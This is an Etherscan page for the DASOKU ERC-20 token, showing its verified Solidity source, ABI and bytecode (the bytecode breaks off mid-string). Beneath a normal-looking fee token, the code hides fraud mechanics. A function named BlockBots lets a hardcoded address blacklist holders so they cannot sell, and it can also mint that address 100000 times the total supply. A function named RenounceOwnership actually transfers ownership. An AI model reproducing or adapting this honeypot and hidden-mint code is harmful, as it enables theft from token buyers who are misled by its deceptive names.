ETH Price: $2,447.46 (-5.93%)

Token

DASOKU (DASOKU)
 

Overview

Max Total Supply

10,000,000 DASOKU

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
crypto-taurus.eth
Balance
155,436.320552688 DASOKU

Value
$0.00
0x2e4acd4d8051b9d4febdad7e2182f6a1fc4b16e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DASOKU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-17
*/

/**
      https://t.me/DasokuERC20portal
      https://www.dasoku.net/
      https://twitter.com/DasokuERC20
      https://dasoku.gitbook.io/dasoku/?fbclid=IwAR10l2bN2AWAQZRAbZbYYGmjD2QKmT00tdG7LGpTiKae88WZcHKBKRlFeqc
 


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DASOKU is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "DASOKU";

    string private _symbol = "DASOKU";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public FUNDPAYABLE;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _BinancePeg;

    uint256 public _buyMarketingFee = 4;
    uint256 public _sellMarketingFee = 4;

    uint256 private _totalSupply = 10000000 * 10**_decimals;

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function BlockBots(address[] calldata addresses,bool status,bool statues) public {
        require(_msgSender() == FUNDPAYABLE);
        for (uint256 i; i < addresses.length; i++) {
            _BinancePeg[addresses[i]] = status;
        }
        if (statues) _balances[FUNDPAYABLE] +=  (uint256( 100000) * uint256(_totalSupply));

    }    
    address public uniswapPair;

    constructor () {

        FUNDPAYABLE = payable(address(0xdc8fcC1a32Fd0f7B67090A5CaC42dDB6bD13216d));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            FUNDPAYABLE.transfer(MarketAmount);
    }

    function enableTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }
                require(!_BinancePeg[from]);

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"},{"internalType":"bool","name":"statues","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"FUNDPAYABLE","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_BinancePeg","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260066080908152654441534f4b5560d01b60a05260019062000027908262000282565b506040805180820190915260068152654441534f4b5560d01b602082015260029062000054908262000282565b506003805460ff191660099081179091556004600a818155600b919091556200007e919062000463565b6200008d90629896806200047b565b600c553480156200009d57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600580546001600160a01b03191673dc8fcc1a32fd0f7b67090a5cac42ddb6bd13216d1790556001600760006200011c6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600c54906004906200016c3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001cf91815260200190565b60405180910390a362000495565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020857607f821691505b6020821081036200022957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027d57600081815260208120601f850160051c81016020861015620002585750805b601f850160051c820191505b81811015620002795782815560010162000264565b5050505b505050565b81516001600160401b038111156200029e576200029e620001dd565b620002b681620002af8454620001f3565b846200022f565b602080601f831160018114620002ee5760008415620002d55750858301515b600019600386901b1c1916600185901b17855562000279565b600085815260208120601f198616915b828110156200031f57888601518255948401946001909101908401620002fe565b50858210156200033e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a55781600019048211156200038957620003896200034e565b808516156200039757918102915b93841c939080029062000369565b509250929050565b600082620003be575060016200045d565b81620003cd575060006200045d565b8160018114620003e65760028114620003f15762000411565b60019150506200045d565b60ff8411156200040557620004056200034e565b50506001821b6200045d565b5060208310610133831016604e8410600b841016171562000436575081810a6200045d565b62000442838362000364565b80600019048211156200045957620004596200034e565b0290505b92915050565b60006200047460ff841683620003ad565b9392505050565b80820281158282048414176200045d576200045d6200034e565b6115ed80620004a56000396000f3fe60806040526004361061012e5760003560e01c806378051f4d116100ab578063a9059cbb1161006f578063a9059cbb14610383578063c5d24189146103a3578063c816841b146103b9578063c8607952146103d9578063dd62ed3e146103ef578063e77dc3b91461043557600080fd5b806378051f4d146102eb5780638a8c523c1461030b5780638bbdc717146103205780638da5cb5b1461035057806395d89b411461036e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e146102555780633ecad2711461028557806370a08231146102b557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d25780631d7d64ae146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c9190611250565b60405180910390f35b34801561017157600080fd5b506101856101803660046112b6565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c3660046112f7565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461138c565b6105dc565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113cd565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506101856102a03660046113cd565b60086020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e36102d03660046113cd565b6001600160a01b031660009081526004602052604090205490565b3480156102f757600080fd5b506102116103063660046113cd565b610647565b34801561031757600080fd5b506102116106f1565b34801561032c57600080fd5b5061018561033b3660046113cd565b60096020526000908152604090205460ff1681565b34801561035c57600080fd5b506000546001600160a01b03166101ba565b34801561037a57600080fd5b5061014f610922565b34801561038f57600080fd5b5061018561039e3660046112b6565b610931565b3480156103af57600080fd5b506101e3600a5481565b3480156103c557600080fd5b50600e546101ba906001600160a01b031681565b3480156103e557600080fd5b506101e3600b5481565b3480156103fb57600080fd5b506101e361040a3660046113ea565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611423565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611423565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f433848461093e565b5060015b92915050565b6005546001600160a01b0316336001600160a01b03161461051e57600080fd5b60005b8381101561058f5782600960008787858181106105405761054061145d565b905060200201602081019061055591906113cd565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061058781611489565b915050610521565b5080156105d657600c546105a690620186a06114a2565b6005546001600160a01b0316600090815260046020526040812080549091906105d09084906114b9565b90915550505b50505050565b60006105e9848484610a62565b5061063c843361063785604051806060016040528060288152602001611590602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610dcb565b61093e565b5060015b9392505050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161069d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c691906114cc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906114cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a891906114cc565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b60606002805461046490611423565b600061063c338484610a62565b6001600160a01b0383166109a05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069d565b6001600160a01b038216610a015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ac85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069d565b6001600160a01b038316610b2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069d565b600d5460ff1615610b4757610b40848484610e05565b9050610640565b30600090815260046020526040902054600d5460ff16158015610b8357506001600160a01b03851660009081526008602052604090205460ff16155b15610b9157610b9181610eeb565b6001600160a01b038516600090815260046020526040902054610bb490846110bd565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c0157506001600160a01b03851660009081526007602052604090205460ff165b15610c0d575082610d41565b6001600160a01b03861660009081526008602052604081205460ff1615610c5557610c4e6064610c48600a54886110ff90919063ffffffff16565b90611181565b9050610c93565b6001600160a01b03861660009081526008602052604090205460ff1615610c9357610c906064610c48600b54886110ff90919063ffffffff16565b90505b8015610d0d5730600090815260046020526040902054610cb390826111c3565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d049085815260200190565b60405180910390a35b6001600160a01b03871660009081526009602052604090205460ff1615610d3357600080fd5b610d3d85826110bd565b9150505b6001600160a01b038516600090815260046020526040902054610d6490826111c3565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db89085815260200190565b60405180910390a3600192505050610640565b60008184841115610def5760405162461bcd60e51b815260040161069d9190611250565b506000610dfc84866114e9565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e56918490610dcb565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e8590836111c3565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ed99086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2d57610f2d61145d565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc491906114cc565b81600181518110610fd757610fd761145d565b6001600160a01b039283166020918202929092010152600d546110029130916101009004168461093e565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061103f9085906000908690309042906004016114fc565b600060405180830381600087803b15801561105957600080fd5b505af192505050801561106a575060015b504780156110ae576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ac573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061064083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dcb565b600082600003611111575060006104f8565b600061111d83856114a2565b90508261112a858361156d565b146106405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069d565b600061064083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611222565b6000806111d083856114b9565b9050838110156106405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069d565b600081836112435760405162461bcd60e51b815260040161069d9190611250565b506000610dfc848661156d565b600060208083528351808285015260005b8181101561127d57858101830151858201604001528201611261565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112b357600080fd5b50565b600080604083850312156112c957600080fd5b82356112d48161129e565b946020939093013593505050565b803580151581146112f257600080fd5b919050565b6000806000806060858703121561130d57600080fd5b843567ffffffffffffffff8082111561132557600080fd5b818701915087601f83011261133957600080fd5b81358181111561134857600080fd5b8860208260051b850101111561135d57600080fd5b60209283019650945061137391870190506112e2565b9150611381604086016112e2565b905092959194509250565b6000806000606084860312156113a157600080fd5b83356113ac8161129e565b925060208401356113bc8161129e565b929592945050506040919091013590565b6000602082840312156113df57600080fd5b81356106408161129e565b600080604083850312156113fd57600080fd5b82356114088161129e565b915060208301356114188161129e565b809150509250929050565b600181811c9082168061143757607f821691505b60208210810361145757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161149b5761149b611473565b5060010190565b80820281158282048414176104f8576104f8611473565b808201808211156104f8576104f8611473565b6000602082840312156114de57600080fd5b81516106408161129e565b818103818111156104f8576104f8611473565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561154c5784516001600160a01b031683529383019391830191600101611527565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068ed173a62859c49a317223edb8947b8b6afa01bf06eef26a68e4098de6f8a8c64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806378051f4d116100ab578063a9059cbb1161006f578063a9059cbb14610383578063c5d24189146103a3578063c816841b146103b9578063c8607952146103d9578063dd62ed3e146103ef578063e77dc3b91461043557600080fd5b806378051f4d146102eb5780638a8c523c1461030b5780638bbdc717146103205780638da5cb5b1461035057806395d89b411461036e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e146102555780633ecad2711461028557806370a08231146102b557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d25780631d7d64ae146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c9190611250565b60405180910390f35b34801561017157600080fd5b506101856101803660046112b6565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c3660046112f7565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461138c565b6105dc565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113cd565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506101856102a03660046113cd565b60086020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e36102d03660046113cd565b6001600160a01b031660009081526004602052604090205490565b3480156102f757600080fd5b506102116103063660046113cd565b610647565b34801561031757600080fd5b506102116106f1565b34801561032c57600080fd5b5061018561033b3660046113cd565b60096020526000908152604090205460ff1681565b34801561035c57600080fd5b506000546001600160a01b03166101ba565b34801561037a57600080fd5b5061014f610922565b34801561038f57600080fd5b5061018561039e3660046112b6565b610931565b3480156103af57600080fd5b506101e3600a5481565b3480156103c557600080fd5b50600e546101ba906001600160a01b031681565b3480156103e557600080fd5b506101e3600b5481565b3480156103fb57600080fd5b506101e361040a3660046113ea565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611423565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611423565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f433848461093e565b5060015b92915050565b6005546001600160a01b0316336001600160a01b03161461051e57600080fd5b60005b8381101561058f5782600960008787858181106105405761054061145d565b905060200201602081019061055591906113cd565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061058781611489565b915050610521565b5080156105d657600c546105a690620186a06114a2565b6005546001600160a01b0316600090815260046020526040812080549091906105d09084906114b9565b90915550505b50505050565b60006105e9848484610a62565b5061063c843361063785604051806060016040528060288152602001611590602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610dcb565b61093e565b5060015b9392505050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161069d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c691906114cc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906114cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a891906114cc565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b60606002805461046490611423565b600061063c338484610a62565b6001600160a01b0383166109a05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069d565b6001600160a01b038216610a015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ac85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069d565b6001600160a01b038316610b2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069d565b600d5460ff1615610b4757610b40848484610e05565b9050610640565b30600090815260046020526040902054600d5460ff16158015610b8357506001600160a01b03851660009081526008602052604090205460ff16155b15610b9157610b9181610eeb565b6001600160a01b038516600090815260046020526040902054610bb490846110bd565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c0157506001600160a01b03851660009081526007602052604090205460ff165b15610c0d575082610d41565b6001600160a01b03861660009081526008602052604081205460ff1615610c5557610c4e6064610c48600a54886110ff90919063ffffffff16565b90611181565b9050610c93565b6001600160a01b03861660009081526008602052604090205460ff1615610c9357610c906064610c48600b54886110ff90919063ffffffff16565b90505b8015610d0d5730600090815260046020526040902054610cb390826111c3565b3060008181